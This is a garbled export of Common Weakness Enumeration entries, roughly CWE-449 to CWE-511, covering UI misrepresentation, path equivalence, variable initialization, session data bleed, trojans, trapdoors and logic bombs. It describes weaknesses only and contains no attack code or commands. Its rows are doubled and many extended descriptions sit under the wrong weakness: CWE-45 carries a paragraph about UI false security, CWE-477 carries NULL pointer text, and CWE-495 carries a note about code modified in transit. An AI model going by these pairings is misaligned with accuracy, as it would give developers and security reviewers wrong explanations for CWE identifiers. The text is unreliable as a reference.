1370 When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption. Alternately, the user might provide a ""restrict ALL'"" access control rule, but the software only implements ""restrict SOME"".",,unclassified,
13711371 CWE-449,The UI Performs the Wrong Action (Type: Base),"The UI performs the wrong action with respect to the user's request.
1372 When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption. Alternately, the user might provide a ""restrict ALL'"" access control rule, but the software only implements ""restrict SOME"".",,unclassified,
1372 When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption. Alternately, the user might provide a ""restrict ALL'"" access control rule, but the software only implements ""restrict SOME"".",,unclassified,
13731373 CWE-45,Path Equivalence: file...name (Multiple Internal Dot) (Type: Variant),"A software system that accepts path input in the form of multiple internal dot ('file...dir') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
1374 When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption. Alternately, the user might provide a ""restrict ALL'"" access control rule, but the software only implements ""restrict SOME"".",,unclassified,
1374 When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption. Alternately, the user might provide a ""restrict ALL'"" access control rule, but the software only implements ""restrict SOME"".",,unclassified,
13751375 CWE-450,Multiple Interpretations of UI Input (Type: Base),"The UI has multiple interpretations of user input but does not prompt the user when it selects the less secure interpretation.
1376 When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption. Alternately, the user might provide a ""restrict ALL'"" access control rule, but the software only implements ""restrict SOME"".",,unclassified,
1376 When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption. Alternately, the user might provide a ""restrict ALL'"" access control rule, but the software only implements ""restrict SOME"".",,unclassified,
13771377 CWE-451,UI Misrepresentation of Critical Information (Type: Base),"The UI does not properly represent critical information to the user, allowing the information - or its source - to be obscured or spoofed. This is often a component in phishing attacks.
1378 When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption. Alternately, the user might provide a ""restrict ALL'"" access control rule, but the software only implements ""restrict SOME"".",,unclassified,
1378 When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption. Alternately, the user might provide a ""restrict ALL'"" access control rule, but the software only implements ""restrict SOME"".",,unclassified,
13791379 CWE-453,Insecure Default Variable Initialization (Type: Base),"The software, by default, initializes an internal variable with an insecure or less secure value than is possible.
1380 When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption. Alternately, the user might provide a ""restrict ALL'"" access control rule, but the software only implements ""restrict SOME"".",,unclassified,
1380 When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption. Alternately, the user might provide a ""restrict ALL'"" access control rule, but the software only implements ""restrict SOME"".",,unclassified,
13811381 CWE-454,External Initialization of Trusted Variables or Data Stores (Type: Base),"The software initializes critical internal variables or data stores using inputs that can be modified by untrusted actors.
1382 A software system should be reluctant to trust variables that have been initialized outside of its trust boundary, especially if they are initialized by users. They may have been initialized incorrectly. If an attacker can initialize the variable, then he/she can influence what the vulnerable system will do.",,unclassified,
1382 A software system should be reluctant to trust variables that have been initialized outside of its trust boundary, especially if they are initialized by users. They may have been initialized incorrectly. If an attacker can initialize the variable, then he/she can influence what the vulnerable system will do.",,unclassified,
13831383 CWE-455,Non-exit on Failed Initialization (Type: Base),"The software does not exit or otherwise modify its operation when security-relevant errors occur during initialization, such as when a configuration file has a format error, which can cause the software to execute in a less secure fashion than intended by the administrator.
1384 A software system should be reluctant to trust variables that have been initialized outside of its trust boundary, especially if they are initialized by users. They may have been initialized incorrectly. If an attacker can initialize the variable, then he/she can influence what the vulnerable system will do.",,unclassified,
1384 A software system should be reluctant to trust variables that have been initialized outside of its trust boundary, especially if they are initialized by users. They may have been initialized incorrectly. If an attacker can initialize the variable, then he/she can influence what the vulnerable system will do.",,unclassified,
13851385 CWE-456,Missing Initialization of a Variable (Type: Base),"The software does not initialize critical variables, which causes the execution environment to use unexpected values.
1386 A software system should be reluctant to trust variables that have been initialized outside of its trust boundary, especially if they are initialized by users. They may have been initialized incorrectly. If an attacker can initialize the variable, then he/she can influence what the vulnerable system will do.",,unclassified,"The Art of Software Security Assessment: Chapter 7, ""Variable Initialization"", Page 312."
1386 A software system should be reluctant to trust variables that have been initialized outside of its trust boundary, especially if they are initialized by users. They may have been initialized incorrectly. If an attacker can initialize the variable, then he/she can influence what the vulnerable system will do.",,unclassified,"The Art of Software Security Assessment: Chapter 7, ""Variable Initialization"", Page 312."
13871387 CWE-458,DEPRECATED: Incorrect Initialization (Type: Base),"This weakness has been deprecated because its name and description did not match. The description duplicated CWE-454, while the name suggested a more abstract initialization problem. Please refer to CWE-665 for the more abstract problem.
1388 In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked. An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.",,unclassified,
1388 In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked. An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.",,unclassified,
13891389 CWE-459,Incomplete Cleanup (Type: Base),"The software does not properly ""clean up"" and remove temporary or supporting resources after they have been used.
1390 In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked. An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.",,unclassified,
1390 In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked. An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.",,unclassified,
13911391 CWE-46,Path Equivalence: filename (Trailing Space) (Type: Variant),"A software system that accepts path input in the form of trailing space ('filedir ') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
1392 In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked. An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.",,unclassified,
1392 In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked. An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.",,unclassified,
13931393 CWE-463,Deletion of Data Structure Sentinel (Type: Base),"The accidental deletion of a data-structure sentinel can cause serious programming logic problems.
1394 Often times data-structure sentinels are used to mark structure of the data structure. A common example of this is the null character at the end of strings. Another common example is linked lists which may contain a sentinel to mark the end of the list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the deletion or modification outside of some wrapper interface which provides safety.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""NUL-Termination Problems"", Page 452."
1394 Often times data-structure sentinels are used to mark structure of the data structure. A common example of this is the null character at the end of strings. Another common example is linked lists which may contain a sentinel to mark the end of the list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the deletion or modification outside of some wrapper interface which provides safety.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""NUL-Termination Problems"", Page 452."
13951395 CWE-466,Return of Pointer Value Outside of Expected Range (Type: Base),"A function can return a pointer to memory that is outside of the buffer that the pointer is expected to reference.
1396 Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 5: Buffer Overruns."" Page 89"
1396 Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 5: Buffer Overruns."" Page 89"
13971397 CWE-47,Path Equivalence: filename (Leading Space) (Type: Variant),"A software system that accepts path input in the form of leading space (' filedir') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
1398 Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.",,unclassified,
1398 Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.",,unclassified,
13991399 CWE-470,Use of Externally-Controlled Input to Select Classes or Code (Unsafe Reflection) (Type: Base),"The application uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.
1400 If the application uses external inputs to determine which class to instantiate or which method to invoke, then an attacker could supply values to select unexpected classes or methods. If this occurs, then the attacker could create control flow paths that were not intended by the developer. These paths could bypass authentication or access control checks, or otherwise cause the application to behave in an unexpected manner. This situation becomes a doomsday scenario if the attacker can upload files into a location that appears on the application's classpath (CWE-427) or add new entries to the application's classpath (CWE-426). Under either of these conditions, the attacker can use reflection to introduce new, malicious behavior into the application.",,unclassified,
1400 If the application uses external inputs to determine which class to instantiate or which method to invoke, then an attacker could supply values to select unexpected classes or methods. If this occurs, then the attacker could create control flow paths that were not intended by the developer. These paths could bypass authentication or access control checks, or otherwise cause the application to behave in an unexpected manner. This situation becomes a doomsday scenario if the attacker can upload files into a location that appears on the application's classpath (CWE-427) or add new entries to the application's classpath (CWE-426). Under either of these conditions, the attacker can use reflection to introduce new, malicious behavior into the application.",,unclassified,
14011401 CWE-471,Modification of Assumed-Immutable Data (MAID) (Type: Base),"The software does not properly protect an assumed-immutable element from being modified by an attacker.
1402 If the application uses external inputs to determine which class to instantiate or which method to invoke, then an attacker could supply values to select unexpected classes or methods. If this occurs, then the attacker could create control flow paths that were not intended by the developer. These paths could bypass authentication or access control checks, or otherwise cause the application to behave in an unexpected manner. This situation becomes a doomsday scenario if the attacker can upload files into a location that appears on the application's classpath (CWE-427) or add new entries to the application's classpath (CWE-426). Under either of these conditions, the attacker can use reflection to introduce new, malicious behavior into the application.",,unclassified,
1402 If the application uses external inputs to determine which class to instantiate or which method to invoke, then an attacker could supply values to select unexpected classes or methods. If this occurs, then the attacker could create control flow paths that were not intended by the developer. These paths could bypass authentication or access control checks, or otherwise cause the application to behave in an unexpected manner. This situation becomes a doomsday scenario if the attacker can upload files into a location that appears on the application's classpath (CWE-427) or add new entries to the application's classpath (CWE-426). Under either of these conditions, the attacker can use reflection to introduce new, malicious behavior into the application.",,unclassified,
14031403 CWE-472,External Control of Assumed-Immutable Web Parameter (Type: Base),"The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.
14041404 If a web product does not properly protect assumed-immutable values from modification in hidden form fields, parameters, cookies, or URLs, this can lead to modification of critical data. Web applications often mistakenly make the assumption that data passed to the client in hidden fields or cookies is not susceptible to tampering. Improper validation of data that are user-controllable can lead to the application processing incorrect, and often malicious, input.
14051405 For example, custom cookies commonly store session data or persistent data across sessions. This kind of session data is normally involved in security related decisions on the server side, such as user authentication and access control. Thus, the cookies might contain sensitive data such as user credentials and privileges. This is a dangerous practice, as it can often lead to improper reliance on the value of the client-provided cookie by the server side application.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 4: Use of Magic URLs, Predictable Cookies, and Hidden Form Fields."" Page 75
1406 The Art of Software Security Assessment: Chapter 17, ""Embedding State in HTML and URLs"", Page 1032."
1406 The Art of Software Security Assessment: Chapter 17, ""Embedding State in HTML and URLs"", Page 1032."
14071407 CWE-473,PHP External Variable Modification (Type: Variant),"A PHP application does not properly protect against the modification of variables from external sources, such as query parameters or cookies. This can expose the application to numerous weaknesses that would not exist otherwise.
14081408 If a web product does not properly protect assumed-immutable values from modification in hidden form fields, parameters, cookies, or URLs, this can lead to modification of critical data. Web applications often mistakenly make the assumption that data passed to the client in hidden fields or cookies is not susceptible to tampering. Improper validation of data that are user-controllable can lead to the application processing incorrect, and often malicious, input.
1409 For example, custom cookies commonly store session data or persistent data across sessions. This kind of session data is normally involved in security related decisions on the server side, such as user authentication and access control. Thus, the cookies might contain sensitive data such as user credentials and privileges. This is a dangerous practice, as it can often lead to improper reliance on the value of the client-provided cookie by the server side application.",,unclassified,
1409 For example, custom cookies commonly store session data or persistent data across sessions. This kind of session data is normally involved in security related decisions on the server side, such as user authentication and access control. Thus, the cookies might contain sensitive data such as user credentials and privileges. This is a dangerous practice, as it can often lead to improper reliance on the value of the client-provided cookie by the server side application.",,unclassified,
14101410 CWE-474,Use of Function with Inconsistent Implementations (Type: Base),"The code uses a function that has inconsistent implementations across operating systems and versions, which might cause security-relevant portability problems.
14111411 If a web product does not properly protect assumed-immutable values from modification in hidden form fields, parameters, cookies, or URLs, this can lead to modification of critical data. Web applications often mistakenly make the assumption that data passed to the client in hidden fields or cookies is not susceptible to tampering. Improper validation of data that are user-controllable can lead to the application processing incorrect, and often malicious, input.
1412 For example, custom cookies commonly store session data or persistent data across sessions. This kind of session data is normally involved in security related decisions on the server side, such as user authentication and access control. Thus, the cookies might contain sensitive data such as user credentials and privileges. This is a dangerous practice, as it can often lead to improper reliance on the value of the client-provided cookie by the server side application.",,unclassified,
1412 For example, custom cookies commonly store session data or persistent data across sessions. This kind of session data is normally involved in security related decisions on the server side, such as user authentication and access control. Thus, the cookies might contain sensitive data such as user credentials and privileges. This is a dangerous practice, as it can often lead to improper reliance on the value of the client-provided cookie by the server side application.",,unclassified,
14131413 CWE-475,Undefined Behavior for Input to API (Type: Base),"The behavior of this function is undefined unless its control parameter is set to a specific value.
14141414 If a web product does not properly protect assumed-immutable values from modification in hidden form fields, parameters, cookies, or URLs, this can lead to modification of critical data. Web applications often mistakenly make the assumption that data passed to the client in hidden fields or cookies is not susceptible to tampering. Improper validation of data that are user-controllable can lead to the application processing incorrect, and often malicious, input.
1415 For example, custom cookies commonly store session data or persistent data across sessions. This kind of session data is normally involved in security related decisions on the server side, such as user authentication and access control. Thus, the cookies might contain sensitive data such as user credentials and privileges. This is a dangerous practice, as it can often lead to improper reliance on the value of the client-provided cookie by the server side application.",,unclassified,
1415 For example, custom cookies commonly store session data or persistent data across sessions. This kind of session data is normally involved in security related decisions on the server side, such as user authentication and access control. Thus, the cookies might contain sensitive data such as user credentials and privileges. This is a dangerous practice, as it can often lead to improper reliance on the value of the client-provided cookie by the server side application.",,unclassified,
14161416 CWE-477,Use of Obsolete Functions (Type: Base),"The code uses deprecated or obsolete functions, which suggests that the code has not been actively reviewed or maintained.
1417 NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.",,unclassified,
1417 NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.",,unclassified,
14181418 CWE-478,Missing Default Case in Switch Statement (Type: Variant),"The code does not have a default case in a switch statement, which might lead to complex logical errors and resultant weaknesses.
1419 NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.",,unclassified,"The Art of Software Security Assessment: Chapter 7, ""Switch Statements"", Page 337."
1419 NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.",,unclassified,"The Art of Software Security Assessment: Chapter 7, ""Switch Statements"", Page 337."
14201420 CWE-48,Path Equivalence: file name (Internal Whitespace) (Type: Variant),"A software system that accepts path input in the form of internal space ('file(SPACE)name') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
14211421 Non-reentrant functions are functions that cannot safely be called, interrupted, and then recalled before the first call has finished without resulting in memory corruption. This can lead to an unexpected system state an unpredictable results with a variety of potential consequences depending on context, including denial of service and code execution.
1422 Many functions are not reentrant, but some of them can result in the corruption of memory if they are used in a signal handler. The function call syslog() is an example of this. In order to perform its functionality, it allocates a small amount of memory as ""scratch space."" If syslog() is suspended by a signal call and the signal handler calls syslog(), the memory used by both of these functions enters an undefined, and possibly, exploitable state. Implementations of malloc() and free() manage metadata in global structures in order to track which memory is allocated versus which memory is available, but they are non-reentrant. Simultaneous calls to these functions can cause corruption of the metadata.",,unclassified,
1422 Many functions are not reentrant, but some of them can result in the corruption of memory if they are used in a signal handler. The function call syslog() is an example of this. In order to perform its functionality, it allocates a small amount of memory as ""scratch space."" If syslog() is suspended by a signal call and the signal handler calls syslog(), the memory used by both of these functions enters an undefined, and possibly, exploitable state. Implementations of malloc() and free() manage metadata in global structures in order to track which memory is allocated versus which memory is available, but they are non-reentrant. Simultaneous calls to these functions can cause corruption of the metadata.",,unclassified,
14231423 CWE-485,Insufficient Encapsulation (Type: Class),"The product does not sufficiently encapsulate critical data or functionality.
1424 Encapsulation is about drawing strong boundaries. In a web browser that might mean ensuring that your mobile code cannot be abused by other mobile code. On the server it might mean differentiation between validated data and unvalidated data, between one user's data and another's, or between data users are allowed to see and data that they are not.",,unclassified,
1424 Encapsulation is about drawing strong boundaries. In a web browser that might mean ensuring that your mobile code cannot be abused by other mobile code. On the server it might mean differentiation between validated data and unvalidated data, between one user's data and another's, or between data users are allowed to see and data that they are not.",,unclassified,
14251425 CWE-488,Exposure of Data Element to Wrong Session (Type: Variant),"The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session.
14261426 Data can ""bleed"" from one session to another through member variables of singleton objects, such as Servlets, and objects from a shared pool.
1427 In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.",,unclassified,
1427 In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.",,unclassified,
14281428 CWE-489,Leftover Debug Code (Type: Base),"The application can be deployed with active debugging code that can create unintended entry points.
14291429 Data can ""bleed"" from one session to another through member variables of singleton objects, such as Servlets, and objects from a shared pool.
1430 In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.",,unclassified,
1430 In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.",,unclassified,
14311431 CWE-49,Path Equivalence: filename/ (Trailing Slash) (Type: Variant),"A software system that accepts path input in the form of trailing slash ('filedir/') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
14321432 Data can ""bleed"" from one session to another through member variables of singleton objects, such as Servlets, and objects from a shared pool.
1433 In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.",,unclassified,
1433 In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.",,unclassified,
14341434 CWE-491,Public cloneable() Method Without Final (Object Hijack) (Type: Variant),"A class has a cloneable() method that is not declared final, which allows an object to be created without calling the constructor. This can cause the object to be in an unexpected state.
14351435 Data can ""bleed"" from one session to another through member variables of singleton objects, such as Servlets, and objects from a shared pool.
1436 In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.",,unclassified,"OWASP , Attack Category : Mobile code: object hijack: http://www.owasp.org/index.php/Mobile_code:_object_hijack"
1436 In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.",,unclassified,"OWASP , Attack Category : Mobile code: object hijack: http://www.owasp.org/index.php/Mobile_code:_object_hijack"
14371437 CWE-495,Private Array-Typed Field Returned From A Public Method (Type: Variant),"The product has a method that is declared public, but returns a reference to a private array, which could then be modified in unexpected ways.
1438 An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.",,unclassified,
1438 An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.",,unclassified,
14391439 CWE-496,Public Data Assigned to Private Array-Typed Field (Type: Variant),"Assigning public data to a private array is equivalent to giving public access to the array.
1440 An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.",,unclassified,
1440 An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.",,unclassified,
14411441 CWE-497,Exposure of System Data to an Unauthorized Control Sphere (Type: Variant),"Exposing system data or debugging information helps an adversary learn about the system and form an attack plan.
1442 An information exposure occurs when system data or debugging information leaves the program through an output stream or logging function that makes it accessible to unauthorized parties. An attacker can also cause errors to occur by submitting unusual requests to the web application. The response to these errors can reveal detailed system information, deny service, cause security mechanisms to fail, and crash the server. An attacker can use error messages that reveal technologies, operating systems, and product versions to tune the attack against known vulnerabilities in these technologies. An application may use diagnostic methods that provide significant implementation details such as stack traces as part of its error handling mechanism.",,unclassified,
1442 An information exposure occurs when system data or debugging information leaves the program through an output stream or logging function that makes it accessible to unauthorized parties. An attacker can also cause errors to occur by submitting unusual requests to the web application. The response to these errors can reveal detailed system information, deny service, cause security mechanisms to fail, and crash the server. An attacker can use error messages that reveal technologies, operating systems, and product versions to tune the attack against known vulnerabilities in these technologies. An application may use diagnostic methods that provide significant implementation details such as stack traces as part of its error handling mechanism.",,unclassified,
14431443 CWE-5,J2EE Misconfiguration: Data Transmission Without Encryption (Type: Variant),"Information sent over a network can be compromised while in transit. An attacker may be able to read/modify the contents if the data are sent in plaintext or are weakly encrypted.
1444 Serializable classes are effectively open classes since data cannot be hidden in them. Classes that do not explicitly deny serialization can be serialized by any other class, which can then in turn use the data stored inside it.",,unclassified,
1444 Serializable classes are effectively open classes since data cannot be hidden in them. Classes that do not explicitly deny serialization can be serialized by any other class, which can then in turn use the data stored inside it.",,unclassified,
14451445 CWE-50,Path Equivalence: //multiple/leading/slash (Type: Variant),"A software system that accepts path input in the form of multiple leading slash ('//multiple/leading/slash') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
1446 Serializable classes are effectively open classes since data cannot be hidden in them. Classes that do not explicitly deny serialization can be serialized by any other class, which can then in turn use the data stored inside it.",,unclassified,
1446 Serializable classes are effectively open classes since data cannot be hidden in them. Classes that do not explicitly deny serialization can be serialized by any other class, which can then in turn use the data stored inside it.",,unclassified,
14471447 CWE-501,Trust Boundary Violation (Type: Base),"The product mixes trusted and untrusted data in the same data structure or structured message.
1448 By combining trusted and untrusted data in the same data structure, it becomes easier for programmers to mistakenly trust unvalidated data.",,unclassified,
1448 By combining trusted and untrusted data in the same data structure, it becomes easier for programmers to mistakenly trust unvalidated data.",,unclassified,
14491449 CWE-506,Embedded Malicious Code (Type: Class),"The application contains code that appears to be malicious in nature.
1450 Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of an application or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.",,unclassified,
1450 Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of an application or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.",,unclassified,
14511451 CWE-507,Trojan Horse (Type: Base),"The software appears to contain benign or useful functionality, but it also contains code that is hidden from normal operation that violates the intended security policy of the user or the system administrator.
1452 Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of an application or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.",,unclassified,"Writing Secure Code: Chapter 7, ""Viruses, Trojans, and Worms In a Nutshell"" Page 208"
1452 Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of an application or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.",,unclassified,"Writing Secure Code: Chapter 7, ""Viruses, Trojans, and Worms In a Nutshell"" Page 208"
14531453 CWE-508,Non-Replicating Malicious Code (Type: Base),"Non-replicating malicious code only resides on the target system or software that is attacked; it does not attempt to spread to other systems.
1454 Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of an application or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.",,unclassified,
1454 Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of an application or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.",,unclassified,
14551455 CWE-509,Replicating Malicious Code (Virus or Worm) (Type: Base),"Replicating malicious code, including viruses and worms, will attempt to attack other systems once it has successfully compromised the target system or software.
1456 Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of an application or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.",,unclassified,
1456 Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of an application or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.",,unclassified,
14571457 CWE-51,Path Equivalence: /multiple//internal/slash (Type: Variant),"A software system that accepts path input in the form of multiple internal slash ('/multiple//internal/slash/') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
1458 Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of an application or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.",,unclassified,
1458 Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of an application or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.",,unclassified,
14591459 CWE-510,Trapdoor (Type: Base),"A trapdoor is a hidden piece of code that responds to a special input, allowing its user access to resources without passing through the normal security enforcement mechanism.
1460 Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of an application or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.",,unclassified,
1460 Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of an application or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.",,unclassified,
14611461 CWE-511,Logic/Time Bomb (Type: Base),"The software contains code that is designed to disrupt the legitimate operation of the software (or its environment) when a certain time passes, or when a certain logical condition is met.
